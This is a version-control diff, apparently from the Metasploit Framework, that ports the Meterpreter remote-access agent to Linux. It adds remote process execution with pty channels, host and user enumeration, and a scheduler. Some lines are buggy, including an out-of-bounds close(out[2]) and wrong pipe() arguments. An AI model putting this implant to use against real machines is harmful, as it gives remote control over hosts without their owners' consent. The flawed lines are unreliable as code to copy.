sync up with Philip's code, see #2418

git-svn-id: file:///home/svn/framework3/trunk@10202 4d416f70-5f16-0410-b530-b9f4589650da
unstable
Joshua Drake 2010-08-31 15:10:41 +00:00
parent 3c704ec753
commit 3b67eefe4e
33 changed files with 1077 additions and 138 deletions

View File

@ -50,11 +50,15 @@ Edit the Configure file. Locate "linux-elf line, duplicate it, s/-elf/-msf/, s/-
# cd external/source/meterpreter/workspace/common
# make
.. copy libsupport.so to source/bionic/compiled ..
6) Build the metsrv_main binary
# cd external/source/meterpreter/workspace/metsrv
# make
You will need to generate a linker script, and set the location to 0x00040000. -Wl,-verbose >log , edit log for == ==
.. copy metsrv_main to source/bionic/compiled directory
7) Build the rtld binary (last step)
@ -64,4 +68,10 @@ Edit the Configure file. Locate "linux-elf line, duplicate it, s/-elf/-msf/, s/-
(make test will make msflinker, which you can use to test the meterpreter)
8) Compile the ext_server_stdapi
# external/source/meterpreter/workspace/extensions/stdapi
# make
copy ext_server_stdapi.so to data/meterpreter/ext_server_stdai.lso <-- notice the .lso

View File

@ -192,7 +192,7 @@ BIONIC_SRC_SUBDIRS = string ;
BIONIC_x86_SUBDIRS = ;
BIONIC_arm_SUBDIRS = ;
CFLAGS = -O0 -g -W ;
CFLAGS = -O0 -g -W ;
@ -377,7 +377,7 @@ DEFINES = USE_LOCKS
ANDROID
;
CFLAGS_x86 = -Iprivate -Ibionic -Ikernel/arch-x86 -Ikernel/common -I../libm/include -fno-stack-protector -fno-pie -DPIC -ffreestanding -fno-tree-scev-cprop ;
CFLAGS_x86 = -Iprivate -Ibionic -Ikernel/arch-x86 -Ikernel/common -I../libm/include -fno-stack-protector -fno-pie -DPIC -ffreestanding -fno-tree-scev-cprop ;
for arch in $(ARCH)

View File

@ -7,6 +7,13 @@
.align 4
getresgid:
pushl %ebx
pushl %ecx
pushl %edx
mov 16(%esp), %ebx
mov 20(%esp), %ecx
mov 24(%esp), %edx
movl $__NR_getresgid32, %eax
int $0x80
cmpl $-129, %eax
@ -17,4 +24,7 @@ getresgid:
addl $4, %esp
orl $-1, %eax
1:
popl %edx
popl %ecx
popl %ebx
ret

View File

@ -7,6 +7,13 @@
.align 4
getresuid:
pushl %ebx
pushl %ecx
pushl %edx
mov 16(%esp), %ebx
mov 20(%esp), %ecx
mov 24(%esp), %edx
movl $__NR_getresuid32, %eax
int $0x80
cmpl $-129, %eax
@ -17,4 +24,7 @@ getresuid:
addl $4, %esp
orl $-1, %eax
1:
popl %edx
popl %ecx
popl %ebx
ret

View File

@ -96,6 +96,8 @@ static __inline__ int sigfillset(sigset_t *set)
typedef void (*sig_t)(int);
typedef sig_t sighandler_t;
#ifndef METSRV_RTLD
/* differentiater between sysv and bsd behaviour 8*/
extern __sighandler_t sysv_signal(int, __sighandler_t);
extern __sighandler_t bsd_signal(int, __sighandler_t);
@ -106,6 +108,8 @@ static __inline__ __sighandler_t signal(int s, __sighandler_t f)
return bsd_signal(s,f);
}
#endif
/* the syscall itself */
extern __sighandler_t __signal(int, __sighandler_t, int);

View File

@ -1 +0,0 @@
termios.h

View File

@ -1,10 +1,10 @@
CFLAGS= -nostdinc -nostdlib -fPIC -DPIC
CFLAGS+= -I../libc/include -I../libc/private -I../libc/bionic -I../libc/kernel/arch-x86
CFLAGS+= -I../libc/kernel/common/linux/ -I ../libc/arch-x86/include/ -I /opt/bionic/libc/kernel/common/
CFLAGS+= -I../libc/kernel/common/linux/ -I../libc/arch-x86/include/ -I../libc/kernel/common/
all:
gcc -shared -o libdl.so $(CFLAGS) libdl.c
gcc -m32 -shared -o libdl.so $(CFLAGS) libdl.c
clean:
rm libdl.so

View File

@ -2,6 +2,8 @@
#include "common.h"
#include <poll.h>
#include <pthread.h>
typedef struct _WaitableEntry
{
HANDLE waitable;
@ -14,15 +16,91 @@ int nentries = 0;
int ntableentries = 0;
struct pollfd *polltable;
LIST_HEAD(_WaitableEntryHead, _WaitableEntry) WEHead;
THREAD *scheduler_thread;
/*
* If there are no waitables in the queue, we wait
* for a conditional broadcast to start it.
*/
pthread_mutex_t scheduler_mutex;
pthread_cond_t scheduler_cond;
DWORD scheduler_run(THREAD *thread);
DWORD scheduler_destroy( VOID )
{
return 0;
WaitableEntry *current, *tmp;
dprintf("[%s] Shutdown of scheduler requested", __FUNCTION__);
if(scheduler_thread)
{
dprintf("[%s] sigterm'ing thread", __FUNCTION__);
thread_sigterm(scheduler_thread);
// wake up the thread if needed
pthread_cond_signal(&scheduler_cond);
// can delay execution up to 2 sec give or take
thread_join(scheduler_thread);
// free up memory
thread_destroy(scheduler_thread);
scheduler_thread = NULL;
dprintf("[%s] thread joined .. going for polltable", __FUNCTION__);
if(polltable)
{
free(polltable);
polltable = NULL;
nentries = ntableentries = 0;
}
dprintf("[%s] Now for the fun part, iterating through list and removing items");
LIST_FOREACH_SAFE(current, &WEHead, link, tmp)
{
// can't call close function due to no remote struct
// will segfault if we try
// XXX could steal from scheduler_thread->parameter1 ?
dprintf("[%s] current: %08x, current->routine: %08x", __FUNCTION__, current, current->routine);
LIST_REMOVE(current, link);
close(current->waitable);
free(current->context);
free(current);
}
dprintf("[%s] All done. Leaving", __FUNCTION__);
}
return ERROR_SUCCESS;
}
DWORD scheduler_initialize( Remote * remote )
{
return 0;
if(scheduler_thread) {
dprintf("[%s] Hmmm. scheduler_initialize() called twice?");
return ERROR_SUCCESS;
}
pthread_mutex_init(&scheduler_mutex, NULL);
pthread_cond_init(&scheduler_cond, NULL);
scheduler_thread = thread_create(scheduler_run, remote, NULL);
if(! scheduler_thread) {
return ENOMEM;
}
thread_run(scheduler_thread);
dprintf("[%s] Initialized scheduler thread and started it running", __FUNCTION__);
return ERROR_SUCCESS;
}
/*
@ -32,30 +110,69 @@ DWORD
scheduler_insert_waitable(HANDLE waitable, LPVOID context,
WaitableNotifyRoutine routine)
{
DWORD retcode = ERROR_SUCCESS;
WaitableEntry *current;
struct pollfd *polltableprev;
pthread_mutex_lock(&scheduler_mutex);
//dprintf("[%s] Handle: %d, context: 0x%08x, routine: 0x%08x. nentries = %d, polltable = 0x%08x",
// __FUNCTION__, waitable, context, routine, nentries, polltable);
do {
if ((current = malloc(sizeof(WaitableEntry))) == NULL) {
retcode = ENOMEM;
break;
}
nentries++;
if (nentries > ntableentries) {
polltableprev = polltable;
// We do *2 because reallocating every scheduler_insert_waitable
// is slower than need be.
polltable = malloc((nentries*2)*sizeof(struct pollfd));
if (polltable == NULL) {
nentries--;
polltable = polltableprev;
free(current);
retcode = ENOMEM;
break;
}
if (polltableprev != NULL)
free(polltableprev);
if ((current = malloc(sizeof(WaitableEntry))) == NULL)
return (ENOMEM);
nentries++;
if (nentries > ntableentries) {
polltableprev = polltable;
polltable = malloc(nentries*sizeof(struct pollfd));
if (polltable == NULL) {
polltable = polltableprev;
free(current);
return (ENOMEM);
} else if (polltableprev != NULL)
free(polltableprev);
ntableentries = nentries;
}
current->waitable = waitable;
current->context = context;
current->routine = routine;
ntableentries = (nentries*2);
}
current->waitable = waitable;
current->context = context;
current->routine = routine;
LIST_INSERT_HEAD(&WEHead, current, link);
LIST_INSERT_HEAD(&WEHead, current, link);
return (0);
} while(0);
dprintf("[%s] WEHead: %08x, Now nentries = %d, and polltable = 0x%08x. LIST_EMPTY: %d", __FUNCTION__, &WEHead, nentries, polltable, LIST_EMPTY(&WEHead));
/*
LIST_FOREACH(current, &WEHead, link)
dprintf("[%s] current->waitable: %d, current->context: %08x, current->routine: %08x",
__FUNCTION__, current->waitable, current->context, current->routine);
*/
pthread_mutex_unlock(&scheduler_mutex);
// wake up scheduler if needed.
pthread_cond_signal(&scheduler_cond);
return retcode;
}
/*
@ -64,55 +181,133 @@ scheduler_insert_waitable(HANDLE waitable, LPVOID context,
DWORD
scheduler_remove_waitable(HANDLE waitable)
{
DWORD retcode = ERROR_SUCCESS;
WaitableEntry *current;
LIST_FOREACH(current, &WEHead, link)
if (current->waitable == waitable)
break;
dprintf("[%s] Handle: %d", __FUNCTION__, waitable);
if (current == NULL)
return (ENOENT);
pthread_mutex_lock(&scheduler_mutex);
LIST_REMOVE(current, link);
free(current);
nentries--;
return (0);
do {
LIST_FOREACH(current, &WEHead, link)
if (current->waitable == waitable)
break;
if (current == NULL) {
retcode = ENOENT;
break;
}
LIST_REMOVE(current, link);
free(current);
nentries--;
} while(0);
pthread_mutex_unlock(&scheduler_mutex);
return retcode;
}
/*
* Runs the scheduler, checking waitable objects for data
*/
DWORD
scheduler_run(Remote *remote, DWORD timeout)
scheduler_run(THREAD *thread)
{
WaitableEntry *current;
int ret, i, found, idx = 0;
Remote *remote;
remote = (Remote *) thread->parameter1;
WaitableEntry *current, *tmp;
int ret, i, found, idx;
int timeout;
if (LIST_EMPTY(&WEHead) || polltable == NULL)
return (ENOENT);
LIST_FOREACH(current, &WEHead, link) {
polltable[idx].fd = current->waitable;
polltable[idx].events = POLLRDNORM;
polltable[idx].revents = 0;
idx++;
}
if ((ret = poll(polltable, idx, timeout)) == 0)
return (ENOENT);
for (found = i = 0; i < idx && found < ret; i++) {
if (polltable[i].revents) {
LIST_FOREACH(current, &WEHead, link)
if (current->waitable == polltable[i].fd)
break;
ret = current->routine(remote, current->context);
timeout = 1000;
// see if we can modify this code to use waitable as the index into polltable
// and waitable events. saves time looking up in exchange for more memory use.
pthread_mutex_lock(&scheduler_mutex);
dprintf("[%s] Beginning loop", __FUNCTION__);
while( event_poll(thread->sigterm, 0) == FALSE )
{
// scheduler_mutex is held upon entry and execution of the loop
idx = 0;
while(event_poll(thread->sigterm, 0) == FALSE && (LIST_EMPTY(&WEHead) || polltable == NULL)) {
// XXX I'd prefer to use pthread_cond_timedwait, but it's broken in bionic and just
// chews cpu
dprintf("[%s] Waiting for conditional (%08x). %d vs %d",
__FUNCTION__, &scheduler_cond, LIST_EMPTY(&WEHead), polltable == NULL);
pthread_cond_wait(&scheduler_cond, &scheduler_mutex);
}
LIST_FOREACH(current, &WEHead, link) {
dprintf("[%s] current->waitable: %d, current->context: %08x, current->routine: %08x",
__FUNCTION__, current->waitable, current->context, current->routine);
polltable[idx].fd = current->waitable;
polltable[idx].events = POLLRDNORM;
polltable[idx].revents = 0;
idx++;
}
dprintf("[%s] Created a polltable of %d", __FUNCTION__, idx);
pthread_mutex_unlock(&scheduler_mutex);
ret = poll(polltable, idx, timeout);
pthread_mutex_lock(&scheduler_mutex);
if(ret == 0) continue;
if(ret == -1) {
if(errno == EAGAIN || errno == EWOULDBLOCK || errno == EINTR) {
continue;
}
dprintf("[%s] poll() failed, errno: %d (%s). Sleeping 1 second and retrying", __FUNCTION__, errno, strerror(errno));
sleep(1);
continue;
}
for (found = i = 0; i < idx && found < ret; i++)
{
if (polltable[i].revents)
{
LIST_FOREACH(current, &WEHead, link)
if (current->waitable == polltable[i].fd)
break;
if(current)
{
ret = current->routine(remote, current->context);
if(ret != ERROR_SUCCESS)
{
// could call close due to remote, but it would deadlock
// if it calls remove waitable
// could make a separate list to handle when we are not locking
// unlink and let rest deal with it ?
dprintf("[%s] current->routine (%08x / %08x) returned an error message. destroying", __FUNCTION__, current->routine, current->context);
LIST_REMOVE(current, link);
close(current->waitable);
free(current);
nentries--;
// how do we notify remote that we have closed fd?
// it just hangs atm :~(
}
}
}
}
}
/*
* return last result
*/
return (ret);
dprintf("[%s] Ending loop", __FUNCTION__);
pthread_mutex_unlock(&scheduler_mutex);
}

View File

@ -4,11 +4,7 @@
#include <sys/types.h>
#include <netinet/in.h>
#pragma redefine_extname malloc common_malloc
#if defined(__FreeBSD__)
#undef errno
extern int errno;
#include <sys/filio.h>
#elif defined(__linux__)
#define __va_list __ptr_t
@ -124,7 +120,6 @@ char *strdup(const char *__restrict);
ssize_t write(int d, const void *buf, size_t nbytes);
ssize_t read(int d, void *buf, size_t nbytes);
void exit(int status);
void abort(void);

View File

@ -97,9 +97,9 @@ EVENT * event_create( VOID )
if( event == NULL )
return NULL;
#ifdef _WIN32
memset( event, 0, sizeof( EVENT ) );
#ifdef _WIN32
event->handle = CreateEvent( NULL, FALSE, FALSE, NULL );
if( event->handle == NULL )
{
@ -168,22 +168,26 @@ BOOL event_poll( EVENT * event, DWORD timeout )
// );
// http://msdn.microsoft.com/en-us/library/ms687032(VS.85).aspx
struct timespec ts;
if(timeout) {
struct timespec ts;
// XXX, need to verify for -1. below modified from bionic/pthread.c
ts.tv_sec = timeout / 1000;
ts.tv_nsec = (timeout%1000)*1000000;
if (ts.tv_nsec >= 1000000000) {
ts.tv_sec++;
ts.tv_nsec -= 1000000000;
// XXX, need to verify for -1. below modified from bionic/pthread.c
// and maybe loop if needed ;\
ts.tv_sec = timeout / 1000;
ts.tv_nsec = (timeout%1000)*1000000;
if (ts.tv_nsec >= 1000000000) {
ts.tv_sec++;
ts.tv_nsec -= 1000000000;
}
// atomically checks if event->handle is 0, if so,
// it sleeps for timeout. if event->handle is 1, it
// returns straight away.
__futex_wait(&(event->handle), 0, &ts);
}
// atomically checks if event->handle is 0, if so,
// it sleeps for timeout. if event->handle is 1, it
// returns straight away.
__futex_wait(&(event->handle), 0, &ts);
return event->handle ? TRUE : FALSE;
#endif
}
@ -252,6 +256,7 @@ THREAD * thread_open( VOID )
thread->id = gettid();
thread->sigterm = event_create();
thread->pid = pthread_self();
}
return thread;
#endif
@ -369,7 +374,7 @@ THREAD * thread_create( THREADFUNK funk, LPVOID param1, LPVOID param2 )
thread->suspend_thread_data = (void *)(tc);
if(pthread_create(&pid, NULL, __paused_thread, tc) == -1) {
if(pthread_create(&(thread->pid), NULL, __paused_thread, tc) == -1) {
free(tc);
event_destroy(thread->sigterm);
free(thread);
@ -463,7 +468,7 @@ BOOL thread_join( THREAD * thread )
return FALSE;
#else
if(pthread_join(thread->id, NULL) == 0)
if(pthread_join(thread->pid, NULL) == 0)
return TRUE;
return FALSE;
@ -484,7 +489,7 @@ BOOL thread_destroy( THREAD * thread )
#ifdef _WIN32
CloseHandle( thread->handle );
#else
//pthread_detach(thread->handle);
pthread_detach(thread->pid);
#endif
free( thread );

View File

@ -62,6 +62,7 @@ typedef struct _THREAD
LPVOID parameter2;
#ifndef _WIN32
void *suspend_thread_data;
pthread_t pid;
#endif
} THREAD, * LPTHREAD;

View File

@ -17,6 +17,9 @@
#include <netdb.h>
#include <netinet/in.h>
#include <stdarg.h>
#include <fcntl.h>
#include <sys/wait.h>
#include <termios.h>
#define IN_ADDR struct in_addr
#define SOCKADDR_IN struct sockaddr_in

View File

@ -59,10 +59,12 @@ Command customCommands[] =
{ request_fs_file_expand_path, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
#ifdef _WIN32
{ "stdapi_fs_search",
{ request_fs_search, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
#endif
// Process
{ "stdapi_sys_process_attach",
@ -98,6 +100,7 @@ Command customCommands[] =
{ EMPTY_DISPATCH_HANDLER },
},
#ifdef _WIN32
// Image
{ "stdapi_sys_process_image_load",
{ request_sys_process_image_load, { 0 }, 0 },
@ -188,6 +191,7 @@ Command customCommands[] =
{ EMPTY_DISPATCH_HANDLER },
},
// Registry
{ "stdapi_registry_open_key",
{ request_registry_open_key, { 0 }, 0 },
@ -229,6 +233,7 @@ Command customCommands[] =
{ request_registry_delete_value, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
#endif
// Sys/config
{ "stdapi_sys_config_getuid",
@ -255,6 +260,8 @@ Command customCommands[] =
{ request_sys_config_drop_token, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
#ifdef _WIN32
// Net
{ "stdapi_net_config_get_routes",
{ request_net_config_get_routes, { 0 }, 0 },
@ -351,7 +358,7 @@ Command customCommands[] =
{ request_sys_power_exitwindows, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
#endif
// Terminator
{ NULL,
{ EMPTY_DISPATCH_HANDLER },

View File

@ -1,5 +1,9 @@
#include "precomp.h"
#ifndef _WIN32
#include <sys/utsname.h>
#endif
/*
* sys_getuid
* ----------
@ -10,6 +14,7 @@ DWORD request_sys_config_getuid(Remote *remote, Packet *packet)
{
Packet *response = packet_create_response(packet);
DWORD res = ERROR_SUCCESS;
#ifdef _WIN32
CHAR username[512], username_only[512], domainname_only[512];
LPVOID TokenUserInfo[4096];
HANDLE token;
@ -44,6 +49,19 @@ DWORD request_sys_config_getuid(Remote *remote, Packet *packet)
packet_add_tlv_string(response, TLV_TYPE_USER_NAME, username);
} while (0);
#else
CHAR info[512];
uid_t ru, eu, su;
gid_t rg, eg, sg;
ru = eu = su = rg = eg = sg = 31337;
getresuid(&ru, &eu, &su);
getresgid(&rg, &eg, &sg);
snprintf(info, sizeof(info)-1, "uid=%d, gid=%d, euid=%d, egid=%d, suid=%d, sgid=%d", ru, rg, eu, eg, su, sg);
packet_add_tlv_string(response, TLV_TYPE_USER_NAME, info);
#endif
// Transmit the response
packet_transmit_response(res, remote, response);
@ -60,6 +78,7 @@ DWORD request_sys_config_getuid(Remote *remote, Packet *packet)
DWORD request_sys_config_drop_token(Remote *remote, Packet *packet)
{
Packet *response = packet_create_response(packet);
#ifdef _WIN32
DWORD res = ERROR_SUCCESS;
CHAR username[512], username_only[512], domainname_only[512];
LPVOID TokenUserInfo[4096];
@ -93,7 +112,9 @@ DWORD request_sys_config_drop_token(Remote *remote, Packet *packet)
packet_add_tlv_string(response, TLV_TYPE_USER_NAME, username);
} while (0);
#else
DWORD res = ERROR_NOT_SUPPORTED;
#endif
// Transmit the response
packet_transmit_response(res, remote, response);
@ -110,6 +131,7 @@ DWORD request_sys_config_drop_token(Remote *remote, Packet *packet)
DWORD request_sys_config_getprivs(Remote *remote, Packet *packet)
{
Packet *response = packet_create_response(packet);
#ifdef _WIN32
DWORD res = ERROR_SUCCESS;
HANDLE token = NULL;
int x;
@ -171,7 +193,9 @@ DWORD request_sys_config_getprivs(Remote *remote, Packet *packet)
if(token)
CloseHandle(token);
#else
DWORD res = ERROR_NOT_SUPPORTED;
#endif
// Transmit the response
packet_transmit_response(res, remote, response);
@ -187,6 +211,7 @@ DWORD request_sys_config_getprivs(Remote *remote, Packet *packet)
DWORD request_sys_config_steal_token(Remote *remote, Packet *packet)
{
Packet *response = packet_create_response(packet);
#ifdef _WIN32
DWORD res = ERROR_SUCCESS;
CHAR username[512], username_only[512], domainname_only[512];
LPVOID TokenUserInfo[4096];
@ -267,7 +292,9 @@ DWORD request_sys_config_steal_token(Remote *remote, Packet *packet)
if(token)
CloseHandle(token);
#else
DWORD res = ERROR_NOT_SUPPORTED;
#endif
// Transmit the response
packet_transmit_response(res, remote, response);
@ -283,6 +310,7 @@ DWORD request_sys_config_steal_token(Remote *remote, Packet *packet)
DWORD request_sys_config_sysinfo(Remote *remote, Packet *packet)
{
Packet *response = packet_create_response(packet);
#ifdef _WIN32
CHAR computer[512], buf[512], *osName = NULL, * osArch = NULL, * osWow = NULL;
DWORD res = ERROR_SUCCESS;
DWORD size = sizeof(computer);
@ -443,7 +471,27 @@ DWORD request_sys_config_sysinfo(Remote *remote, Packet *packet)
} while (0);
#else
CHAR os[512];
DWORD res = ERROR_SUCCESS;
do {
struct utsname utsbuf;
if( uname( &utsbuf ) == -1) {
res = GetLastError();
break;
}
snprintf(os, sizeof(os)-1, "%s %s %s %s (%s)", utsbuf.sysname, utsbuf.nodename, utsbuf.release, utsbuf.version, utsbuf.machine, utsbuf.domainname);
packet_add_tlv_string(response, TLV_TYPE_COMPUTER_NAME, utsbuf.nodename);
packet_add_tlv_string(response, TLV_TYPE_OS_NAME, os);
packet_add_tlv_string(response, TLV_TYPE_ARCHITECTURE, utsbuf.machine);
} while(0);
#endif
// Transmit the response
packet_transmit_response(res, remote, response);
@ -458,6 +506,7 @@ DWORD request_sys_config_sysinfo(Remote *remote, Packet *packet)
*/
DWORD request_sys_config_rev2self(Remote *remote, Packet *packet)
{
#ifdef _WIN32
DWORD dwResult = ERROR_SUCCESS;
Packet * response = NULL;
@ -482,5 +531,9 @@ DWORD request_sys_config_rev2self(Remote *remote, Packet *packet)
if( response )
packet_transmit_response( dwResult, remote, response );
#else
DWORD dwResult = ERROR_NOT_SUPPORTED;
#endif
return dwResult;
}

View File

@ -1,4 +1,6 @@
#include "precomp.h"
#ifdef _WIN32
#include "ps.h" // include the code for listing proceses
#include "./../session.h"
#include "in-mem-exe.h" /* include skapetastic in-mem exe exec */
@ -8,6 +10,8 @@ typedef BOOL (STDMETHODCALLTYPE FAR * LPFNCREATEENVIRONMENTBLOCK)( LPVOID *lpEn
typedef BOOL (STDMETHODCALLTYPE FAR * LPFNDESTROYENVIRONMENTBLOCK) ( LPVOID lpEnvironment );
typedef BOOL (WINAPI * LPCREATEPROCESSWITHTOKENW)( HANDLE, DWORD, LPCWSTR, LPWSTR, DWORD, LPVOID, LPCWSTR, LPSTARTUPINFOW, LPPROCESS_INFORMATION );
#endif
/*
* Attaches to the supplied process identifier. If no process identifier is
* supplied, the handle for the current process is returned to the requestor.
@ -18,6 +22,7 @@ DWORD request_sys_process_attach(Remote *remote, Packet *packet)
{
Packet *response = packet_create_response(packet);
HANDLE handle = NULL;
#ifdef _WIN32
DWORD result = ERROR_SUCCESS;
DWORD pid;
@ -43,6 +48,9 @@ DWORD request_sys_process_attach(Remote *remote, Packet *packet)
packet_add_tlv_uint(response, TLV_TYPE_HANDLE, (DWORD)handle);
else
result = GetLastError();
#else
DWORD result = ERROR_NOT_SUPPORTED;
#endif
// Send the response packet to the requestor
packet_transmit_response(result, remote, response);
@ -59,6 +67,7 @@ DWORD request_sys_process_close(Remote *remote, Packet *packet)
{
Packet *response = packet_create_response(packet);
HANDLE handle;
#ifdef _WIN32
DWORD result = ERROR_SUCCESS;
handle = (HANDLE)packet_get_tlv_value_uint(packet, TLV_TYPE_HANDLE);
@ -70,13 +79,70 @@ DWORD request_sys_process_close(Remote *remote, Packet *packet)
}
else
result = ERROR_INVALID_PARAMETER;
#else
DWORD result = ERROR_NOT_SUPPORTED;
#endif
// Send the response packet to the requestor
packet_transmit_response(result, remote, response);
return ERROR_SUCCESS;
}
#ifndef _WIN32
int try_open_pty(int *master, int *slave)
{
int lmaster, lslave;
char path[512];
struct termios newtio;
lmaster = open("/dev/ptmx", O_RDWR | O_NOCTTY);
if(lmaster == -1) return -1;
dprintf("master fd is %d", lmaster);
if(grantpt(lmaster) == -1) {
close(lmaster);
return -1;
}
if(unlockpt(lmaster) == -1) {
close(lmaster);
return -1;
}
memset(path, 0, sizeof(path));
if(ptsname_r(lmaster, path, sizeof(path)-2) == -1) {
close(lmaster);
return -1;
}
lslave = open(path, O_RDWR | O_NOCTTY);
if(lslave == -1) {
close(lmaster);
return -1;
}
*master = lmaster;
*slave = lslave;
if(tcgetattr(lmaster, &newtio) == -1)
// oh well
return 0;
// man 3 termios for more information (under linux, at least).
newtio.c_lflag |= (ISIG|ICANON);
newtio.c_lflag &= ~ECHO;
// can't do anything about it if it fails
tcsetattr(lmaster, TCSANOW, &newtio);
return 0;
}
#endif
/*
* Executes a process using the supplied parameters, optionally creating a
* channel through which output is filtered.
@ -87,11 +153,12 @@ DWORD request_sys_process_close(Remote *remote, Packet *packet)
*/
DWORD request_sys_process_execute(Remote *remote, Packet *packet)
{
Packet *response = packet_create_response(packet);
DWORD result = ERROR_SUCCESS;
#ifdef _WIN32
PROCESS_INFORMATION pi;
STARTUPINFO si;
Packet *response = packet_create_response(packet);
HANDLE in[2], out[2];
DWORD result = ERROR_SUCCESS;
PCHAR path, arguments, commandLine = NULL;
DWORD flags = 0, createFlags = 0;
BOOL inherit = FALSE;
@ -478,6 +545,169 @@ DWORD request_sys_process_execute(Remote *remote, Packet *packet)
if( cpDesktop )
free( cpDesktop );
#else
PCHAR path, arguments, commandLine = NULL;
DWORD flags;
char *argv[64], *p;
int in[2] = { -1, -1 }, out[2] = {-1, -1}; // file descriptors
int master = -1, slave = -1;
int devnull = -1;
int idx;
pid_t pid;
int have_pty = -1;
dprintf( "[PROCESS] request_sys_process_execute" );
do {
// Get the execution arguments
arguments = packet_get_tlv_value_string(packet, TLV_TYPE_PROCESS_ARGUMENTS);
path = packet_get_tlv_value_string(packet, TLV_TYPE_PROCESS_PATH);
flags = packet_get_tlv_value_uint(packet, TLV_TYPE_PROCESS_FLAGS);
dprintf("path: %s, arguments: %s\n", path ? path : "(null)", arguments ? arguments : "(null)");
// how to handle a single string argument line? we don't have a lexer/parser to
// correctly handle stuff like quotes, etc. could dumbly parse on white space to
// build arguments for execve. revert to /bin/sh -c style execution?
// XXX.. don't feel like messing with it atm
idx = 0;
if(arguments) {
p = arguments;
argv[idx++] = path;
argv[idx++] = arguments;
for(p = strchr(p, ' '); p && idx < 63; p = strchr(p, ' ')) {
*p++ = 0;
argv[idx++] = p;
}
argv[idx++] = NULL;
} else {
argv[idx++] = path;
argv[idx++] = NULL;
}
// If the channelized flag is set, create a pipe for stdin/stdout/stderr
// such that input can be directed to and from the remote endpoint
if (flags & PROCESS_EXECUTE_FLAG_CHANNELIZED)
{
ProcessChannelContext * ctx = NULL;
PoolChannelOps chops;
Channel *newChannel;
// Allocate the channel context
if (!(ctx = (ProcessChannelContext *)malloc(sizeof(ProcessChannelContext))))
{
result = ERROR_NOT_ENOUGH_MEMORY;
break;
}
memset(&chops, 0, sizeof(PoolChannelOps));
// Initialize the channel operations
chops.native.context = ctx;
chops.native.write = process_channel_write;
chops.native.close = process_channel_close;
chops.native.interact = process_channel_interact;
chops.read = process_channel_read;
// Allocate the pool channel
if (!(newChannel = channel_create_pool(0, CHANNEL_FLAG_SYNCHRONOUS, &chops)))
{
result = ERROR_NOT_ENOUGH_MEMORY;
break;
}
// Set the channel's type to process
channel_set_type(newChannel, "process");
have_pty = !try_open_pty(&master, &slave);
if(have_pty)
{
ctx->pStdin = master;
ctx->pStdout = master;
} else {
// fall back to pipes if there is no tty
// Allocate the stdin and stdout pipes
if(pipe(&in) || pipe(&out))
{
channel_destroy(newChannel, NULL);
newChannel = NULL;
free(ctx);
result = GetLastError();
break;
}
// Set the context to have the write side of stdin and the read side
// of stdout
ctx->pStdin = in[1];
ctx->pStdout = out[0];
}
fcntl(ctx->pStdin, F_SETFD, fcntl(ctx->pStdin, F_GETFD) | O_NONBLOCK);
fcntl(ctx->pStdout, F_SETFD, fcntl(ctx->pStdout, F_GETFD) | O_NONBLOCK);
// Add the channel identifier to the response packet
packet_add_tlv_uint(response, TLV_TYPE_CHANNEL_ID,channel_get_id(newChannel));
} else {
// need to /dev/null it all
if( (devnull = open("/dev/null", O_RDONLY) ) == -1) {
// XXX This is possible, due to chroots etc. We could close
// fd 0/1/2 and hope the program isn't buggy.
result = GetLastError();
break;
}
}
pid = fork();
switch(pid) {
int i;
case -1:
result = errno;
break;
case 0:
if (flags & PROCESS_EXECUTE_FLAG_CHANNELIZED) {
if(have_pty)
{
dup2(slave, 0);
dup2(slave, 1);
dup2(slave, 2);
} else {
dup2(in[0], 0);
dup2(out[1], 1);
dup2(out[1], 2);
}
} else {
dup2(devnull, 0);
dup2(devnull, 1);
dup2(devnull, 2);
}
for(i = 3; i < 1024; i++) close(i);
execve(path, argv, environ);
exit(EXIT_FAILURE);
default:
dprintf("child pid is %d\n", pid);
if (flags & PROCESS_EXECUTE_FLAG_CHANNELIZED) {
if(have_pty) {
close(slave);
} else {
close(in[0]);
close(out[1]);
close(out[2]);
}
}
break;
}
} while(0);
#endif
packet_transmit_response(result, remote, response);
@ -503,6 +733,7 @@ DWORD request_sys_process_kill(Remote *remote, Packet *packet)
DWORD pid = ntohl(*(LPDWORD)pidTlv.buffer);
HANDLE h = NULL;
#ifdef _WIN32
// Try to attach to the process
if (!(h = OpenProcess(PROCESS_TERMINATE, FALSE, pid)))
{
@ -514,6 +745,9 @@ DWORD request_sys_process_kill(Remote *remote, Packet *packet)
result = GetLastError();
CloseHandle(h);
#else
kill(pid, 9);
#endif
}
// Transmit the response
@ -528,6 +762,8 @@ DWORD request_sys_process_kill(Remote *remote, Packet *packet)
*/
DWORD request_sys_process_get_processes( Remote * remote, Packet * packet )
{
#ifdef _WIN32
Packet * response = NULL;
HANDLE hToken = NULL;
DWORD result = ERROR_SUCCESS;
@ -570,7 +806,13 @@ DWORD request_sys_process_get_processes( Remote * remote, Packet * packet )
packet_transmit_response( result, remote, response );
} while( 0 );
#else
DWORD result = ERROR_NOT_SUPPORTED;
Packet * response = packet_create_response( packet );
packet_transmit_response( result, remote, response );
#endif
return result;
}
@ -581,7 +823,11 @@ DWORD request_sys_process_getpid(Remote *remote, Packet *packet)
{
Packet *response = packet_create_response(packet);
#ifdef _WIN32
packet_add_tlv_uint(response, TLV_TYPE_PID, GetCurrentProcessId());
#else
packet_add_tlv_uint(response, TLV_TYPE_PID, gettid());
#endif
packet_transmit_response(ERROR_SUCCESS, remote, response);
@ -595,13 +841,17 @@ DWORD request_sys_process_getpid(Remote *remote, Packet *packet)
*/
DWORD request_sys_process_get_info(Remote *remote, Packet *packet)
{
Packet *response = packet_create_response(packet);
#ifdef _WIN32
BOOL (WINAPI *enumProcessModules)(HANDLE p, HMODULE *mod, DWORD cb,
LPDWORD needed);
DWORD (WINAPI *getModuleBaseName)(HANDLE p, HMODULE mod, LPTSTR base,
DWORD baseSize);
DWORD (WINAPI *getModuleFileNameEx)(HANDLE p, HMODULE mod, LPTSTR path,
DWORD pathSize);
Packet *response = packet_create_response(packet);
HMODULE mod;
HANDLE psapi = NULL;
HANDLE handle;
@ -672,6 +922,9 @@ DWORD request_sys_process_get_info(Remote *remote, Packet *packet)
// Close the psapi library and clean up
if (psapi)
FreeLibrary(psapi);
#else
packet_transmit_response(ERROR_NOT_SUPPORTED, remote, response);
#endif
return ERROR_SUCCESS;
}
